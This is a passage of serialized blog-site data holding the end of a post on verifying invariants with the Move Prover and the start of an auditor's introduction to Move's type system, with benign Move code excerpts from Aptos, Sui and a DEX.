spec",{"type":26,"tag":217,"props":156715,"children":156716},{"style":7054},[156717],{"type":32,"value":156561},{"type":26,"tag":217,"props":156719,"children":156720},{"style":7048},[156721],{"type":32,"value":8064},{"type":26,"tag":217,"props":156723,"children":156724},{"class":7028,"line":7389},[156725,156730,156734,156738,156742],{"type":26,"tag":217,"props":156726,"children":156727},{"style":7054},[156728],{"type":32,"value":156729},"      pragma",{"type":26,"tag":217,"props":156731,"children":156732},{"style":7054},[156733],{"type":32,"value":56840},{"type":26,"tag":217,"props":156735,"children":156736},{"style":7149},[156737],{"type":32,"value":267},{"type":26,"tag":217,"props":156739,"children":156740},{"style":7154},[156741],{"type":32,"value":60208},{"type":26,"tag":217,"props":156743,"children":156744},{"style":7048},[156745],{"type":32,"value":7162},{"type":26,"tag":217,"props":156747,"children":156748},{"class":7028,"line":7406},[156749,156753,156757,156761,156766],{"type":26,"tag":217,"props":156750,"children":156751},{"style":7054},[156752],{"type":32,"value":156204},{"type":26,"tag":217,"props":156754,"children":156755},{"style":7054},[156756],{"type":32,"value":155309},{"type":26,"tag":217,"props":156758,"children":156759},{"style":7149},[156760],{"type":32,"value":92297},{"type":26,"tag":217,"props":156762,"children":156763},{"style":7054},[156764],{"type":32,"value":156765}," coin1_in",{"type":26,"tag":217,"props":156767,"children":156768},{"style":7048},[156769],{"type":32,"value":7162},{"type":26,"tag":217,"props":156771,"children":156772},{"class":7028,"line":7439},[156773,156777,156781,156785,156790],{"type":26,"tag":217,"props":156774,"children":156775},{"style":7054},[156776],{"type":32,"value":156204},{"type":26,"tag":217,"props":156778,"children":156779},{"style":7054},[156780],{"type":32,"value":155390},{"type":26,"tag":217,"props":156782,"children":156783},{"style":7149},[156784],{"type":32,"value":92297},{"type":26,"tag":217,"props":156786,"children":156787},{"style":7054},[156788],{"type":32,"value":156789}," coin2_in",{"type":26,"tag":217,"props":156791,"children":156792},{"style":7048},[156793],{"type":32,"value":7162},{"type":26,"tag":217,"props":156795,"children":156796},{"class":7028,"line":7487},[156797],{"type":26,"tag":217,"props":156798,"children":156799},{"style":7048},[156800],{"type":32,"value":16086},{"type":26,"tag":39,"props":156802,"children":156803},{},[156804],{"type":32,"value":156805},"Some other ideas include",{"type":26,"tag":6712,"props":156807,"children":156808},{},[156809,156814,156819],{"type":26,"tag":2044,"props":156810,"children":156811},{},[156812],{"type":32,"value":156813},"Swapping through an AMM should never lead to a decrease in one side of the pool without also increasing the other side. In other words, no free money",{"type":26,"tag":2044,"props":156815,"children":156816},{},[156817],{"type":32,"value":156818},"Lending protocols should always be fully collateralized after a series of deposit, borrow, and withdraw instructions.",{"type":26,"tag":2044,"props":156820,"children":156821},{},[156822],{"type":32,"value":156823},"Orderbooks should never lose money after an order is placed and then canceled.",{"type":26,"tag":27,"props":156825,"children":156826},{"id":137231},[156827],{"type":32,"value":137234},{"type":26,"tag":39,"props":156829,"children":156830},{},[156831],{"type":32,"value":156832},"In this post, we've explored how to properly utilize the Move Prover to verify critical invariants about your codebase.",{"type":26,"tag":39,"props":156834,"children":156835},{},[156836],{"type":32,"value":156837},"In our upcoming posts, we will explore how to turn the Move Prover into a weapon for squashing security vulnerabilities by learning how to ask the right questions, so stay tuned!",{"type":26,"tag":39,"props":156839,"children":156840},{},[156841,156843,156850],{"type":32,"value":156842},"We're passionate about formal verification and pushing the edge of what's possible in Move security. If you have any thoughts, or would like to explore an audit, feel free to reach out to me ",{"type":26,"tag":163,"props":156844,"children":156847},{"href":156845,"rel":156846},"https://twitter.com/notdeghost/",[167],[156848],{"type":32,"value":156849},"@notdeghost",{"type":32,"value":180},{"type":26,"tag":9282,"props":156852,"children":156853},{},[156854],{"type":32,"value":9286},{"title":8,"searchDepth":6770,"depth":6770,"links":156856},[156857,156858,156861,156868],{"id":152553,"depth":6770,"text":152556},{"id":152607,"depth":6770,"text":152610,"children":156859},[156860],{"id":152855,"depth":6779,"text":152851},{"id":155753,"depth":6770,"text":155756,"children":156862},[156863,156864,156865,156866,156867],{"id":155769,"depth":6779,"text":155772},{"id":156016,"depth":6779,"text":156019},{"id":156321,"depth":6779,"text":156324},{"id":156357,"depth":6779,"text":156360},{"id":156520,"depth":6779,"text":156523},{"id":137231,"depth":6770,"text":137234},"content:blog:2022-09-16-move-prover.md","blog/2022-09-16-move-prover.md","blog/2022-09-16-move-prover",{"_path":156873,"_dir":6,"_draft":7,"_partial":7,"_locale":8,"title":156874,"description":156875,"author":96998,"image":156876,"date":156879,"isFeatured":17,"onBlogPage":17,"body":156880,"_type":6799,"_id":160285,"_source":6801,"_file":160286,"_stem":160287,"_extension":6804},"/blog/2022-09-06-move-introduction","Move: An Auditor's Introduction","What actually makes Move secure? A discussion of Move's typing system and formal verification.",{"src":156877,"height":156878,"width":105616},"/posts/move-intro/title.jpg",1221,"2022-09-06",{"type":23,"children":156881,"toc":160280},[156882,156887,156892,156911,156916,156928,157017,157024,157139,157147,157169,157318,157323,157578,157599,157633,157638,157657,157662,157673,157685,157888,157900,157913,157926,158182,158194,158406,158411,158437,158581,158599,158604,158861,158873,158878,158891,158897,158902,158907,158919,158933,158938,159033,159045,159058,159310,159315,159327,159332,159383,159401,159406,160251,160255,160260,160265,160276],{"type":26,"tag":39,"props":156883,"children":156884},{},[156885],{"type":32,"value":156886},"As part of our work, we seek to understand how to eliminate vulnerability classes. Designing safer languages enables developers to write code with confidence. How exactly does Move lend itself to safer programming practices? What can we learn from Move to generalize secure design principles for other execution environments?",{"type":26,"tag":39,"props":156888,"children":156889},{},[156890],{"type":32,"value":156891},"Lately, there appears to be many buzzwords floating around. Formal verification, type based safety, \"rust but for blockchain\".",{"type":26,"tag":39,"props":156893,"children":156894},{},[156895,156897,156902,156904,156909],{"type":32,"value":156896},"In this piece I'll seek to discuss exactly ",{"type":26,"tag":65,"props":156898,"children":156899},{},[156900],{"type":32,"value":156901},"how",{"type":32,"value":156903}," move lends itself to more secure programming practices, potential shortcomings, and practical design tips for protocol developers looking to build ",{"type":26,"tag":65,"props":156905,"children":156906},{},[156907],{"type":32,"value":156908},"structurally",{"type":32,"value":156910}," safer programs.",{"type":26,"tag":27,"props":156912,"children":156913},{"id":78922},[156914],{"type":32,"value":156915},"Types",{"type":26,"tag":39,"props":156917,"children":156918},{},[156919,156921,156927],{"type":32,"value":156920},"One of the key selling points of Move is the use of typed resources. Aptos and Sui have slight variations in how they materialize this pattern, but as an example take ",{"type":26,"tag":83,"props":156922,"children":156924},{"className":156923},[],[156925],{"type":32,"value":156926},"coin.move",{"type":32,"value":180},{"type":26,"tag":207,"props":156929,"children":156931},{"className":56140,"code":156930,"language":56139,"meta":8,"style":8},"  /// Main structure representing a coin/token in an account's custody.\n  struct Coin\u003Cphantom CoinType> has store {\n      /// Amount of coin this address has.\n      value: u64,\n  }\n",[156932],{"type":26,"tag":83,"props":156933,"children":156934},{"__ignoreMap":8},[156935,156943,156982,156990,157010],{"type":26,"tag":217,"props":156936,"children":156937},{"class":7028,"line":7029},[156938],{"type":26,"tag":217,"props":156939,"children":156940},{"style":7033},[156941],{"type":32,"value":156942},"  /// Main structure representing a coin/token in an account's custody.\n",{"type":26,"tag":217,"props":156944,"children":156945},{"class":7028,"line":6770},[156946,156950,156954,156958,156962,156966,156970,156974,156978],{"type":26,"tag":217,"props":156947,"children":156948},{"style":7154},[156949],{"type":32,"value":106441},{"type":26,"tag":217,"props":156951,"children":156952},{"style":7119},[156953],{"type":32,"value":98950},{"type":26,"tag":217,"props":156955,"children":156956},{"style":7048},[156957],{"type":32,"value":7289},{"type":26,"tag":217,"props":156959,"children":156960},{"style":7054},[156961],{"type":32,"value":98959},{"type":26,"tag":217,"props":156963,"children":156964},{"style":7119},[156965],{"type":32,"value":98964},{"type":26,"tag":217,"props":156967,"children":156968},{"style":7048},[156969],{"type":32,"value":33564},{"type":26,"tag":217,"props":156971,"children":156972},{"style":7054},[156973],{"type":32,"value":98973},{"type":26,"tag":217,"props":156975,"children":156976},{"style":7054},[156977],{"type":32,"value":79027},{"type":26,"tag":217,"props":156979,"children":156980},{"style":7048},[156981],{"type":32,"value":8064},{"type":26,"tag":217,"props":156983,"children":156984},{"class":7028,"line":6779},[156985],{"type":26,"tag":217,"props":156986,"children":156987},{"style":7033},[156988],{"type":32,"value":156989},"      /// Amount of coin this address has.\n",{"type":26,"tag":217,"props":156991,"children":156992},{"class":7028,"line":7140},[156993,156998,157002,157006],{"type":26,"tag":217,"props":156994,"children":156995},{"style":7054},[156996],{"type":32,"value":156997},"      value",{"type":26,"tag":217,"props":156999,"children":157000},{"style":7149},[157001],{"type":32,"value":1473},{"type":26,"tag":217,"props":157003,"children":157004},{"style":7119},[157005],{"type":32,"value":91146},{"type":26,"tag":217,"props":157007,"children":157008},{"style":7048},[157009],{"type":32,"value":10953},{"type":26,"tag":217,"props":157011,"children":157012},{"class":7028,"line":7165},[157013],{"type":26,"tag":217,"props":157014,"children":157015},{"style":7048},[157016],{"type":32,"value":16086},{"type":26,"tag":39,"props":157018,"children":157019},{},[157020],{"type":26,"tag":65,"props":157021,"children":157022},{},[157023],{"type":32,"value":98868},{"type":26,"tag":207,"props":157025,"children":157027},{"className":56140,"code":157026,"language":56139,"meta":8,"style":8},"  /// A coin of type `T` worth `value`. Transferable and storable\n  struct Coin\u003Cphantom T> has key, store {\n      id: UID,\n      balance: Balance\u003CT>\n  }\n",[157028],{"type":26,"tag":83,"props":157029,"children":157030},{"__ignoreMap":8},[157031,157039,157086,157103,157132],{"type":26,"tag":217,"props":157032,"children":157033},{"class":7028,"line":7029},[157034],{"type":26,"tag":217,"props":157035,"children":157036},{"style":7033},[157037],{"type":32,"value":157038},"  /// A coin of type `T` worth `value`. Transferable and storable\n",{"type":26,"tag":217,"props":157040,"children":157041},{"class":7028,"line":6770},[157042,157046,157050,157054,157058,157062,157066,157070,157074,157078,157082],{"type":26,"tag":217,"props":157043,"children":157044},{"style":7154},[157045],{"type":32,"value":106441},{"type":26,"tag":217,"props":157047,"children":157048},{"style":7119},[157049],{"type":32,"value":98950},{"type":26,"tag":217,"props":157051,"children":157052},{"style":7048},[157053],{"type":32,"value":7289},{"type":26,"tag":217,"props":157055,"children":157056},{"style":7054},[157057],{"type":32,"value":98959},{"type":26,"tag":217,"props":157059,"children":157060},{"style":7119},[157061],{"type":32,"value":74722},{"type":26,"tag":217,"props":157063,"children":157064},{"style":7048},[157065],{"type":32,"value":33564},{"type":26,"tag":217,"props":157067,"children":157068},{"style":7054},[157069],{"type":32,"value":98973},{"type":26,"tag":217,"props":157071,"children":157072},{"style":7054},[157073],{"type":32,"value":78245},{"type":26,"tag":217,"props":157075,"children":157076},{"style":7048},[157077],{"type":32,"value":7599},{"type":26,"tag":217,"props":157079,"children":157080},{"style":7054},[157081],{"type":32,"value":78989},{"type":26,"tag":217,"props":157083,"children":157084},{"style":7048},[157085],{"type":32,"value":8064},{"type":26,"tag":217,"props":157087,"children":157088},{"class":7028,"line":6779},[157089,157094,157098],{"type":26,"tag":217,"props":157090,"children":157091},{"style":7054},[157092],{"type":32,"value":157093},"      id",{"type":26,"tag":217,"props":157095,"children":157096},{"style":7149},[157097],{"type":32,"value":1473},{"type":26,"tag":217,"props":157099,"children":157100},{"style":7048},[157101],{"type":32,"value":157102}," UID,\n",{"type":26,"tag":217,"props":157104,"children":157105},{"class":7028,"line":7140},[157106,157111,157115,157120,157124,157128],{"type":26,"tag":217,"props":157107,"children":157108},{"style":7054},[157109],{"type":32,"value":157110},"      balance",{"type":26,"tag":217,"props":157112,"children":157113},{"style":7149},[157114],{"type":32,"value":1473},{"type":26,"tag":217,"props":157116,"children":157117},{"style":7119},[157118],{"type":32,"value":157119}," Balance",{"type":26,"tag":217,"props":157121,"children":157122},{"style":7048},[157123],{"type":32,"value":7289},{"type":26,"tag":217,"props":157125,"children":157126},{"style":7119},[157127],{"type":32,"value":178},{"type":26,"tag":217,"props":157129,"children":157130},{"style":7048},[157131],{"type":32,"value":7281},{"type":26,"tag":217,"props":157133,"children":157134},{"class":7028,"line":7165},[157135],{"type":26,"tag":217,"props":157136,"children":157137},{"style":7048},[157138],{"type":32,"value":16086},{"type":26,"tag":39,"props":157140,"children":157141},{},[157142],{"type":26,"tag":65,"props":157143,"children":157144},{},[157145],{"type":32,"value":157146},"sui",{"type":26,"tag":39,"props":157148,"children":157149},{},[157150,157152,157159,157161,157167],{"type":32,"value":157151},"Pulling an example from ",{"type":26,"tag":163,"props":157153,"children":157156},{"href":157154,"rel":157155},"https://pontem.network/",[167],[157157],{"type":32,"value":157158},"Pontem Network's",{"type":32,"value":157160}," Liquidswap DEX implementation on Aptos, we can see that ",{"type":26,"tag":83,"props":157162,"children":157164},{"className":157163},[],[157165],{"type":32,"value":157166},"LiquidityPool",{"type":32,"value":157168}," natively embeds this type information into it's fields.",{"type":26,"tag":207,"props":157170,"children":157172},{"className":56140,"code":157171,"language":56139,"meta":8,"style":8},"    /// Liquidity pool with reserves.\n    struct LiquidityPool\u003Cphantom X, phantom Y, phantom LP> has key {\n        coin_x_reserve: Coin\u003CX>,\n        coin_y_reserve: Coin\u003CY>,\n        // ...\n    }\n",[157173],{"type":26,"tag":83,"props":157174,"children":157175},{"__ignoreMap":8},[157176,157184,157247,157275,157303,157311],{"type":26,"tag":217,"props":157177,"children":157178},{"class":7028,"line":7029},[157179],{"type":26,"tag":217,"props":157180,"children":157181},{"style":7033},[157182],{"type":32,"value":157183},"    /// Liquidity pool with reserves.\n",{"type":26,"tag":217,"props":157185,"children":157186},{"class":7028,"line":6770},[157187,157191,157196,157200,157204,157209,157213,157217,157222,157226,157230,157235,157239,157243],{"type":26,"tag":217,"props":157188,"children":157189},{"style":7154},[157190],{"type":32,"value":14905},{"type":26,"tag":217,"props":157192,"children":157193},{"style":7119},[157194],{"type":32,"value":157195}," LiquidityPool",{"type":26,"tag":217,"props":157197,"children":157198},{"style":7048},[157199],{"type":32,"value":7289},{"type":26,"tag":217,"props":157201,"children":157202},{"style":7054},[157203],{"type":32,"value":98959},{"type":26,"tag":217,"props":157205,"children":157206},{"style":7119},[157207],{"type":32,"value":157208}," X",{"type":26,"tag":217,"props":157210,"children":157211},{"style":7048},[157212],{"type":32,"value":7599},{"type":26,"tag":217,"props":157214,"children":157215},{"style":7054},[157216],{"type":32,"value":98959},{"type":26,"tag":217,"props":157218,"children":157219},{"style":7119},[157220],{"type":32,"value":157221}," Y",{"type":26,"tag":217,"props":157223,"children":157224},{"style":7048},[157225],{"type":32,"value":7599},{"type":26,"tag":217,"props":157227,"children":157228},{"style":7054},[157229],{"type":32,"value":98959},{"type":26,"tag":217,"props":157231,"children":157232},{"style":7048},[157233],{"type":32,"value":157234}," LP> ",{"type":26,"tag":217,"props":157236,"children":157237},{"style":7054},[157238],{"type":32,"value":98973},{"type":26,"tag":217,"props":157240,"children":157241},{"style":7054},[157242],{"type":32,"value":78245},{"type":26,"tag":217,"props":157244,"children":157245},{"style":7048},[157246],{"type":32,"value":8064},{"type":26,"tag":217,"props":157248,"children":157249},{"class":7028,"line":6779},[157250,157255,157259,157263,157267,157271],{"type":26,"tag":217,"props":157251,"children":157252},{"style":7054},[157253],{"type":32,"value":157254},"        coin_x_reserve",{"type":26,"tag":217,"props":157256,"children":157257},{"style":7149},[157258],{"type":32,"value":1473},{"type":26,"tag":217,"props":157260,"children":157261},{"style":7119},[157262],{"type":32,"value":98950},{"type":26,"tag":217,"props":157264,"children":157265},{"style":7048},[157266],{"type":32,"value":7289},{"type":26,"tag":217,"props":157268,"children":157269},{"style":7119},[157270],{"type":32,"value":43083},{"type":26,"tag":217,"props":157272,"children":157273},{"style":7048},[157274],{"type":32,"value":77713},{"type":26,"tag":217,"props":157276,"children":157277},{"class":7028,"line":7140},[157278,157283,157287,157291,157295,157299],{"type":26,"tag":217,"props":157279,"children":157280},{"style":7054},[157281],{"type":32,"value":157282},"        coin_y_reserve",{"type":26,"tag":217,"props":157284,"children":157285},{"style":7149},[157286],{"type":32,"value":1473},{"type":26,"tag":217,"props":157288,"children":157289},{"style":7119},[157290],{"type":32,"value":98950},{"type":26,"tag":217,"props":157292,"children":157293},{"style":7048},[157294],{"type":32,"value":7289},{"type":26,"tag":217,"props":157296,"children":157297},{"style":7119},[157298],{"type":32,"value":43131},{"type":26,"tag":217,"props":157300,"children":157301},{"style":7048},[157302],{"type":32,"value":77713},{"type":26,"tag":217,"props":157304,"children":157305},{"class":7028,"line":7165},[157306],{"type":26,"tag":217,"props":157307,"children":157308},{"style":7033},[157309],{"type":32,"value":157310},"        // ...\n",{"type":26,"tag":217,"props":157312,"children":157313},{"class":7028,"line":7178},[157314],{"type":26,"tag":217,"props":157315,"children":157316},{"style":7048},[157317],{"type":32,"value":9754},{"type":26,"tag":39,"props":157319,"children":157320},{},[157321],{"type":32,"value":157322},"This has the advantage of aligning type information at compile time. It would be difficult to accidentally pass in the wrong type of coin to a function.",{"type":26,"tag":207,"props":157324,"children":157326},{"className":56140,"code":157325,"language":56139,"meta":8,"style":8},"      public fun mint\u003CX, Y, LP>(\n          pool_addr: address,\n          coin_x: Coin\u003CX>,\n          coin_y: Coin\u003CY>\n      ): Coin\u003CLP> acquires LiquidityPool, EventsStore {\n          // ...\n\n          let (x_reserve_size, y_reserve_size) = get_reserves_size\u003CX, Y, LP>(pool_addr);\n",[157327],{"type":26,"tag":83,"props":157328,"children":157329},{"__ignoreMap":8},[157330,157368,157388,157416,157444,157494,157502,157509],{"type":26,"tag":217,"props":157331,"children":157332},{"class":7028,"line":7029},[157333,157338,157342,157347,157351,157355,157359,157363],{"type":26,"tag":217,"props":157334,"children":157335},{"style":7054},[157336],{"type":32,"value":157337},"      public",{"type":26,"tag":217,"props":157339,"children":157340},{"style":7054},[157341],{"type":32,"value":64784},{"type":26,"tag":217,"props":157343,"children":157344},{"style":7054},[157345],{"type":32,"value":157346}," mint",{"type":26,"tag":217,"props":157348,"children":157349},{"style":7048},[157350],{"type":32,"value":7289},{"type":26,"tag":217,"props":157352,"children":157353},{"style":7119},[157354],{"type":32,"value":43083},{"type":26,"tag":217,"props":157356,"children":157357},{"style":7048},[157358],{"type":32,"value":7599},{"type":26,"tag":217,"props":157360,"children":157361},{"style":7119},[157362],{"type":32,"value":43131},{"type":26,"tag":217,"props":157364,"children":157365},{"style":7048},[157366],{"type":32,"value":157367},", LP>(\n",{"type":26,"tag":217,"props":157369,"children":157370},{"class":7028,"line":6770},[157371,157376,157380,157384],{"type":26,"tag":217,"props":157372,"children":157373},{"style":7054},[157374],{"type":32,"value":157375},"          pool_addr",{"type":26,"tag":217,"props":157377,"children":157378},{"style":7149},[157379],{"type":32,"value":1473},{"type":26,"tag":217,"props":157381,"children":157382},{"style":7054},[157383],{"type":32,"value":62887},{"type":26,"tag":217,"props":157385,"children":157386},{"style":7048},[157387],{"type":32,"value":10953},{"type":26,"tag":217,"props":157389,"children":157390},{"class":7028,"line":6779},[157391,157396,157400,157404,157408,157412],{"type":26,"tag":217,"props":157392,"children":157393},{"style":7054},[157394],{"type":32,"value":157395},"          coin_x",{"type":26,"tag":217,"props":157397,"children":157398},{"style":7149},[157399],{"type":32,"value":1473},{"type":26,"tag":217,"props":157401,"children":157402},{"style":7119},[157403],{"type":32,"value":98950},{"type":26,"tag":217,"props":157405,"children":157406},{"style":7048},[157407],{"type":32,"value":7289},{"type":26,"tag":217,"props":157409,"children":157410},{"style":7119},[157411],{"type":32,"value":43083},{"type":26,"tag":217,"props":157413,"children":157414},{"style":7048},[157415],{"type":32,"value":77713},{"type":26,"tag":217,"props":157417,"children":157418},{"class":7028,"line":7140},[157419,157424,157428,157432,157436,157440],{"type":26,"tag":217,"props":157420,"children":157421},{"style":7054},[157422],{"type":32,"value":157423},"          coin_y",{"type":26,"tag":217,"props":157425,"children":157426},{"style":7149},[157427],{"type":32,"value":1473},{"type":26,"tag":217,"props":157429,"children":157430},{"style":7119},[157431],{"type":32,"value":98950},{"type":26,"tag":217,"props":157433,"children":157434},{"style":7048},[157435],{"type":32,"value":7289},{"type":26,"tag":217,"props":157437,"children":157438},{"style":7119},[157439],{"type":32,"value":43131},{"type":26,"tag":217,"props":157441,"children":157442},{"style":7048},[157443],{"type":32,"value":7281},{"type":26,"tag":217,"props":157445,"children":157446},{"class":7028,"line":7165},[157447,157452,157456,157460,157464,157469,157473,157477,157481,157485,157490],{"type":26,"tag":217,"props":157448,"children":157449},{"style":7048},[157450],{"type":32,"value":157451},"      )",{"type":26,"tag":217,"props":157453,"children":157454},{"style":7149},[157455],{"type":32,"value":1473},{"type":26,"tag":217,"props":157457,"children":157458},{"style":7119},[157459],{"type":32,"value":98950},{"type":26,"tag":217,"props":157461,"children":157462},{"style":7048},[157463],{"type":32,"value":7289},{"type":26,"tag":217,"props":157465,"children":157466},{"style":7119},[157467],{"type":32,"value":157468},"LP",{"type":26,"tag":217,"props":157470,"children":157471},{"style":7048},[157472],{"type":32,"value":33564},{"type":26,"tag":217,"props":157474,"children":157475},{"style":7054},[157476],{"type":32,"value":99705},{"type":26,"tag":217,"props":157478,"children":157479},{"style":7119},[157480],{"type":32,"value":157195},{"type":26,"tag":217,"props":157482,"children":157483},{"style":7048},[157484],{"type":32,"value":7599},{"type":26,"tag":217,"props":157486,"children":157487},{"style":7119},[157488],{"type":32,"value":157489},"EventsStore",{"type":26,"tag":217,"props":157491,"children":157492},{"style":7048},[157493],{"type":32,"value":8064},{"type":26,"tag":217,"props":157495,"children":157496},{"class":7028,"line":7178},[157497],{"type":26,"tag":217,"props":157498,"children":157499},{"style":7033},[157500],{"type":32,"value":157501},"          // ...\n",{"type":26,"tag":217,"props":157503,"children":157504},{"class":7028,"line":7389},[157505],{"type":26,"tag":217,"props":157506,"children":157507},{"emptyLinePlaceholder":17},[157508],{"type":32,"value":7817},{"type":26,"tag":217,"props":157510,"children":157511},{"class":7028,"line":7406},[157512,157517,157521,157526,157530,157535,157539,157543,157548,157552,157556,157560,157564,157569,157574],{"type":26,"tag":217,"props":157513,"children":157514},{"style":7154},[157515],{"type":32,"value":157516},"          let",{"type":26,"tag":217,"props":157518,"children":157519},{"style":7048},[157520],{"type":32,"value":7051},{"type":26,"tag":217,"props":157522,"children":157523},{"style":7054},[157524],{"type":32,"value":157525},"x_reserve_size",{"type":26,"tag":217,"props":157527,"children":157528},{"style":7048},[157529],{"type":32,"value":7599},{"type":26,"tag":217,"props":157531,"children":157532},{"style":7054},[157533],{"type":32,"value":157534},"y_reserve_size",{"type":26,"tag":217,"props":157536,"children":157537},{"style":7048},[157538],{"type":32,"value":8380},{"type":26,"tag":217,"props":157540,"children":157541},{"style":7149},[157542],{"type":32,"value":267},{"type":26,"tag":217,"props":157544,"children":157545},{"style":7054},[157546],{"type":32,"value":157547}," get_reserves_size",{"type":26,"tag":217,"props":157549,"children":157550},{"style":7048},[157551],{"type":32,"value":7289},{"type":26,"tag":217,"props":157553,"children":157554},{"style":7119},[157555],{"type":32,"value":43083},{"type":26,"tag":217,"props":157557,"children":157558},{"style":7048},[157559],{"type":32,"value":7599},{"type":26,"tag":217,"props":157561,"children":157562},{"style":7119},[157563],{"type":32,"value":43131},{"type":26,"tag":217,"props":157565,"children":157566},{"style":7048},[157567],{"type":32,"value":157568},", LP>(",{"type":26,"tag":217,"props":157570,"children":157571},{"style":7054},[157572],{"type":32,"value":157573},"pool_addr",{"type":26,"tag":217,"props":157575,"children":157576},{"style":7048},[157577],{"type":32,"value":7669},{"type":26,"tag":39,"props":157579,"children":157580},{},[157581,157583,157589,157590,157597],{"type":32,"value":157582},"As an aside, this generic type information is implemented at runtime in the ",{"type":26,"tag":83,"props":157584,"children":157586},{"className":157585},[],[157587],{"type":32,"value":157588},"ty_args",{"type":32,"value":19795},{"type":26,"tag":163,"props":157591,"children":157594},{"href":157592,"rel":157593},"https://github.com/move-language/move/blob/2412f877a5065132f31bfc339e6d1f2b9de10e87/language/move-vm/runtime/src/interpreter.rs#L88",[167],[157595],{"type":32,"value":157596},"at the vm level",{"type":32,"value":157598},". This VM level implementation choice makes it rather difficult to iterate over arbitrary generic types, such as with summing the coins in a pool. We will be releasing a deep dive into move's VM internals shortly.",{"type":26,"tag":39,"props":157600,"children":157601},{},[157602,157604,157610,157612,157618,157619,157625,157626,157632],{"type":32,"value":157603},"In pseucode, this checks that ",{"type":26,"tag":83,"props":157605,"children":157607},{"className":157606},[],[157608],{"type":32,"value":157609},"coin_x.type",{"type":32,"value":157611}," is equal to ",{"type":26,"tag":83,"props":157613,"children":157615},{"className":157614},[],[157616],{"type":32,"value":157617},"pool.x_type",{"type":32,"value":17577},{"type":26,"tag":83,"props":157620,"children":157622},{"className":157621},[],[157623],{"type":32,"value":157624},"coin_y.type",{"type":32,"value":157611},{"type":26,"tag":83,"props":157627,"children":157629},{"className":157628},[],[157630],{"type":32,"value":157631},"pool.y_type",{"type":32,"value":180},{"type":26,"tag":39,"props":157634,"children":157635},{},[157636],{"type":32,"value":157637},"This type system has two advantages",{"type":26,"tag":6712,"props":157639,"children":157640},{},[157641,157652],{"type":26,"tag":2044,"props":157642,"children":157643},{},[157644,157646,157650],{"type":32,"value":157645},"It's required. The type parameter ",{"type":26,"tag":65,"props":157647,"children":157648},{},[157649],{"type":32,"value":43414},{"type":32,"value":157651}," be specified so it's impossible to forget such a constraint",{"type":26,"tag":2044,"props":157653,"children":157654},{},[157655],{"type":32,"value":157656},"It's concise. Constraints are done via type parameter alignment instead of verbose equivalence checks",{"type":26,"tag":39,"props":157658,"children":157659},{},[157660],{"type":32,"value":157661},"However, this system isn't perfect.",{"type":26,"tag":39,"props":157663,"children":157664},{},[157665,157667,157672],{"type":32,"value":157666},"In fact, I would go as far as to argue that using types to create such associations is ",{"type":26,"tag":9348,"props":157668,"children":157669},{},[157670],{"type":32,"value":157671},"an anti-pattern",{"type":32,"value":180},{"type":26,"tag":39,"props":157674,"children":157675},{},[157676,157678,157684],{"type":32,"value":157677},"Using types to enforce relationships only works because types are uniquely associated with instances. For example, in Aptos's coin initialization function, they explicitly assert that there hasn't been a previously initialized ",{"type":26,"tag":83,"props":157679,"children":157681},{"className":157680},[],[157682],{"type":32,"value":157683},"CoinInfo\u003CCoinType>",{"type":32,"value":180},{"type":26,"tag":207,"props":157686,"children":157688},{"className":56140,"code":157687,"language":56139,"meta":8,"style":8},"  fun initialize_internal\u003CCoinType>(\n      // ...\n  ): (BurnCapability\u003CCoinType>, FreezeCapability\u003CCoinType>, MintCapability\u003CCoinType>) {\n      // ...\n\n      assert!(\n          !exists\u003CCoinInfo\u003CCoinType>>(account_addr),\n          error::already_exists(ECOIN_INFO_ALREADY_PUBLISHED),\n      );\n",[157689],{"type":26,"tag":83,"props":157690,"children":157691},{"__ignoreMap":8},[157692,157716,157724,157792,157799,157806,157818,157859,157881],{"type":26,"tag":217,"props":157693,"children":157694},{"class":7028,"line":7029},[157695,157699,157704,157708,157712],{"type":26,"tag":217,"props":157696,"children":157697},{"style":7054},[157698],{"type":32,"value":156556},{"type":26,"tag":217,"props":157700,"children":157701},{"style":7054},[157702],{"type":32,"value":157703}," initialize_internal",{"type":26,"tag":217,"props":157705,"children":157706},{"style":7048},[157707],{"type":32,"value":7289},{"type":26,"tag":217,"props":157709,"children":157710},{"style":7119},[157711],{"type":32,"value":99019},{"type":26,"tag":217,"props":157713,"children":157714},{"style":7048},[157715],{"type":32,"value":56861},{"type":26,"tag":217,"props":157717,"children":157718},{"class":7028,"line":6770},[157719],{"type":26,"tag":217,"props":157720,"children":157721},{"style":7033},[157722],{"type":32,"value":157723},"      // ...\n",{"type":26,"tag":217,"props":157725,"children":157726},{"class":7028,"line":6779},[157727,157732,157736,157740,157745,157749,157753,157757,157762,157766,157770,157774,157779,157783,157787],{"type":26,"tag":217,"props":157728,"children":157729},{"style":7048},[157730],{"type":32,"value":157731},"  )",{"type":26,"tag":217,"props":157733,"children":157734},{"style":7149},[157735],{"type":32,"value":1473},{"type":26,"tag":217,"props":157737,"children":157738},{"style":7048},[157739],{"type":32,"value":7051},{"type":26,"tag":217,"props":157741,"children":157742},{"style":7119},[157743],{"type":32,"value":157744},"BurnCapability",{"type":26,"tag":217,"props":157746,"children":157747},{"style":7048},[157748],{"type":32,"value":7289},{"type":26,"tag":217,"props":157750,"children":157751},{"style":7119},[157752],{"type":32,"value":99019},{"type":26,"tag":217,"props":157754,"children":157755},{"style":7048},[157756],{"type":32,"value":56967},{"type":26,"tag":217,"props":157758,"children":157759},{"style":7119},[157760],{"type":32,"value":157761},"FreezeCapability",{"type":26,"tag":217,"props":157763,"children":157764},{"style":7048},[157765],{"type":32,"value":7289},{"type":26,"tag":217,"props":157767,"children":157768},{"style":7119},[157769],{"type":32,"value":99019},{"type":26,"tag":217,"props":157771,"children":157772},{"style":7048},[157773],{"type":32,"value":56967},{"type":26,"tag":217,"props":157775,"children":157776},{"style":7119},[157777],{"type":32,"value":157778},"MintCapability",{"type":26,"tag":217,"props":157780,"children":157781},{"style":7048},[157782],{"type":32,"value":7289},{"type":26,"tag":217,"props":157784,"children":157785},{"style":7119},[157786],{"type":32,"value":99019},{"type":26,"tag":217,"props":157788,"children":157789},{"style":7048},[157790],{"type":32,"value":157791},">) {\n",{"type":26,"tag":217,"props":157793,"children":157794},{"class":7028,"line":7140},[157795],{"type":26,"tag":217,"props":157796,"children":157797},{"style":7033},[157798],{"type":32,"value":157723},{"type":26,"tag":217,"props":157800,"children":157801},{"class":7028,"line":7165},[157802],{"type":26,"tag":217,"props":157803,"children":157804},{"emptyLinePlaceholder":17},[157805],{"type":32,"value":7817},{"type":26,"tag":217,"props":157807,"children":157808},{"class":7028,"line":7178},[157809,157814],{"type":26,"tag":217,"props":157810,"children":157811},{"style":7064},[157812],{"type":32,"value":157813},"      